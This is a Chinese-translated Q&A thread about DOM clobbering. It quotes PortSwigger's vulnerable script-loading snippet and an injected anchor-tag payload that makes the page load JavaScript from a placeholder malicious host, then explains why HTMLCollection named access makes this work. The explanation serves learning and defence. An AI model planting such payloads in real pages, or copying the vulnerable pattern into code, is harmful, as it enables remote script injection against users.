sec*_*int 4 html javascript frontend dom web-application-security
我对DOM Clobbering主题有一些疑问:
Portswigger 对此进行了解释:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Run Code Online (Sandbox Code Playgroud)
要利用此易受攻击的代码,您可以注入以下 HTML,以使用锚元素破坏 someObject 引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Run Code Online (Sandbox Code Playgroud)
由于两个锚点使用相同的 ID,因此 DOM 将它们分组到一个 DOM 集合中。然后 DOM 破坏向量用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用 name 属性是为了破坏 someObject 对象的 url 属性,该对象指向外部脚本。
我的理解是:
具有 id 的锚元素someObject存储在类似数组的结构中 - DOM 集合。
通过
var someObject = window.someObject || {};
Run Code Online (Sandbox Code Playgroud)
锚元素是使用 id 引用的 - 某些浏览器将 id 直接存储在 window 对象中(html 元素的 ID 是否始终可从 window 对象获取?)。
然而:
window.someObject || {}( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer )中的对象初始值设定项是否在攻击中发挥任何作用?控制台是这样说的:
(有关此主题的更多信息也可以在这里找到:https://medium.com/@shilpybanerjee/dom-clobbering-its-clobbering-time-f8dd5c8fbc4b)
\n\n为什么 name 属性会用 URL 覆盖 url 属性?
\n
因为它someObject实际上是一个 HTMLCollection,您可以访问HTMLCollection它实际上是一个 HTMLCollection,您可以通过名称
console.log( document.getElementsByClassName("test").bar );Run Code Online (Sandbox Code Playgroud)\r\n<div class="test" name="foo"><div><div class="test" name="bar"></div>Run Code Online (Sandbox Code Playgroud)\r\n\n\nDOM 集合与这一切有什么关系?
\n
请注意它们如何拥有两个具有相同id属性的元素?好吧,尽管它违反了规范,但在将命名元素作为window属性访问时,相同的规范实际上有一个特殊的规则来处理这种情况:访问时,相同的规范实际上有一个特殊的规则来处理这种情况:
\n\n\n
\n- 否则,如果对象只有一个元素,则返回该元素。
\n- 否则返回一个以窗口关联文档为根的 HTMLCollection,其过滤器仅与名称为 name 的窗口的命名对象匹配。(根据定义,这些都是元素。)
\n
我认为只有 Chrome 确实尊重这里的规范,因此在这个浏览器中,如果您通过其访问元素id的方式访问一个元素,并且有多个具有相同 \xc3\xacd` 的元素,您将获得一个 HTMLCollection 而不是一个 Element:
console.log( window.foo ); // in Chrome [HTMLCollection]Run Code Online (Sandbox Code Playgroud)\r\n<div id="foo">1</div><div id="foo">2</div>Run Code Online (Sandbox Code Playgroud)\r\n\n\nwindow.someObject || 中的对象初始值设定项是否 {} ( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer ) 在攻击中发挥了什么作用?
\n
这只是为了避免在处理程序触发时null没有包含此元素的情况,因此它在这里主要是无用的。id
\n\n最后一个问题:为什么
\nscript.src = someObject.url;要从整个锚元素中提取href?
因为HTMLAnchorElement.toString()返回.href值。